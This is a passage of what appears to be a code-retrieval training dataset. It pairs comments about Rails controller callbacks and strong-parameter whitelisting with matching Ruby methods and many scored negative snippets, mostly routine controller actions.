@ethernet_log.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6490603", "0.6252091", "0.62465477", "0.6207349", "0.60456467", "0.5947956", "0.5947367", "0.5907201", "0.5907201", "0.5906645", "0.588364", "0.5812184", "0.5754486", "0.56969583", "0.56921333", "0.56430846", "0.56300545", "0.56103617", "0.55918", "0.5553551", "0.55512244", "0.5537853", "0.5454879", "0.54228765", "0.54224813", "0.5401465", "0.53889936", "0.5385199", "0.5384461", "0.5365145", "0.5365145", "0.5365145", "0.5361533", "0.53580713", "0.5353723", "0.53465337", "0.53452015", "0.5344601", "0.5322629", "0.53076273", "0.530071", "0.5278703", "0.52616554", "0.5256334", "0.5240813", "0.5234843", "0.5228654", "0.5220193", "0.52136916", "0.5213454", "0.5213454", "0.5203773", "0.51806426", "0.5178728", "0.517605", "0.51710856", "0.5157679", "0.51408106", "0.5135217", "0.51313716", "0.5131129", "0.51073444", "0.5104556", "0.50874424", "0.508479", "0.50811243", "0.50798875", "0.5076149", "0.5070412", "0.50620335", "0.50430304", "0.5034454", "0.50240946", "0.50150275", "0.5013646", "0.5008812", "0.49937373", "0.4977479", "0.49768755", "0.49696213", "0.49678397", "0.4944726", "0.49446896", "0.49379456", "0.49373758", "0.49330857", "0.49302065", "0.49197018", "0.4916102", "0.49006334", "0.48988602", "0.48925126", "0.4886197", "0.4864196", "0.48638463", "0.48630694", "0.48568493", "0.48539814", "0.48494625", "0.48293573" ]
0.65162694
0
Use callbacks to share common setup or constraints between actions.
def set_audit_trail @audit_trail = AuditTrail.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def setup\n # override this if needed\n end", "def matt_custom_action_begin(label); end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def lookup_action; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def around_hooks; end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def action_target()\n \n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def call\n setup_context\n super\n end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end" ]
[ "0.6163443", "0.604317", "0.5943409", "0.59143174", "0.5887026", "0.58335453", "0.57738566", "0.5701527", "0.5701527", "0.56534666", "0.5618685", "0.54237175", "0.5407991", "0.5407991", "0.5407991", "0.5394463", "0.5376582", "0.5355932", "0.53376216", "0.5337122", "0.5329516", "0.5311442", "0.52963835", "0.52955836", "0.5295297", "0.5258503", "0.52442217", "0.5235414", "0.5235414", "0.5235414", "0.5235414", "0.5235414", "0.5234908", "0.5230927", "0.52263695", "0.5222485", "0.5216462", "0.52128595", "0.52070963", "0.520529", "0.517586", "0.5174021", "0.5172379", "0.5165636", "0.5161574", "0.51556087", "0.5153217", "0.5152898", "0.5151238", "0.5144674", "0.51387095", "0.51342636", "0.5113545", "0.51131564", "0.51131564", "0.5107665", "0.5107052", "0.50908124", "0.5089785", "0.50814754", "0.50807786", "0.5064482", "0.5053022", "0.50526255", "0.5050246", "0.5050246", "0.50329554", "0.5023997", "0.5021236", "0.5014815", "0.5014393", "0.4999298", "0.49990913", "0.4997733", "0.49884573", "0.49884573", "0.49840933", "0.49786162", "0.49784446", "0.49782816", "0.49659815", "0.49655175", "0.4956222", "0.49543875", "0.49536037", "0.495265", "0.4951427", "0.49438462", "0.49436793", "0.49335384", "0.49321616", "0.49264926", "0.49247074", "0.49246994", "0.49226475", "0.49194494", "0.49152806", "0.49149707", "0.49149227", "0.49144953", "0.49141943" ]
0.0
-1
Only allow a list of trusted parameters through.
def audit_trail_params params.require(:audit_trail).permit(:user, :description, :controller, :action, :browser, :ip_address) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
GET /moto_registration_numbers/1 GET /moto_registration_numbers/1.xml
def show @moto_registration_number = MotoRegistrationNumber.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @moto_registration_number } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @registration_number = RegistrationNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration_number }\n end\n end", "def new\n @moto_registration_number = MotoRegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_registration_number }\n end\n end", "def index\n @phone_numbers = @kontact_information.phone_numbers.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @phone_numbers }\n end\n end", "def index\n @registration_numbers = RegistrationNumber.all\n end", "def new\n @registration_number = RegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration_number }\n end\n end", "def get_registration\n path = self.api_root + '/register'\n process_firecloud_request(:get, path)\n end", "def create\n @moto_registration_number = MotoRegistrationNumber.new(params[:moto_registration_number])\n\n respond_to do |format|\n if @moto_registration_number.save\n format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully created.') }\n format.xml { render :xml => @moto_registration_number, :status => :created, :location => @moto_registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @registrations = Registration.find(:all, :order => \"camp_id ASC\")\n \n @registration = Registration.find(params[:id]) unless params[:id].blank?\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @registrations }\n end\n end", "def destroy\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n @moto_registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def index\n @patientregistrations = Patientregistration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @patientregistrations }\n end\n end", "def index\n @registrations = Registration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @registrations }\n end\n end", "def index\n @registrations = Registration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @registrations }\n end\n end", "def index\n @patientregistration_datas = PatientregistrationData.all\n\t@v= Verify.new\n\t@value=@v.retrive(\"Registration\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @patientregistration_datas }\n end\n end", "def index\n @registration_codes = RegistrationCode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @registration_codes }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def set_registration_number\n @registration_number = RegistrationNumber.find(params[:id])\n end", "def create\n @registration_number = RegistrationNumber.new(params[:registration_number])\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to(@registration_number, :notice => 'Registration number was successfully created.') }\n format.xml { render :xml => @registration_number, :status => :created, :location => @registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @registrations = Registration.search(params[:page], params['sort'], params['status'], params['patients'], session[:cas_user], params['search'])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @registrations }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @download_registration }\n end\n end", "def getgenerate\n @api.request 'getgenerate'\n end", "def getgenerate\n request :getgenerate\n end", "def show\n @mri_scan = MriScan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mri_scan }\n end\n end", "def show\n @patientregistration_data = PatientregistrationData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => 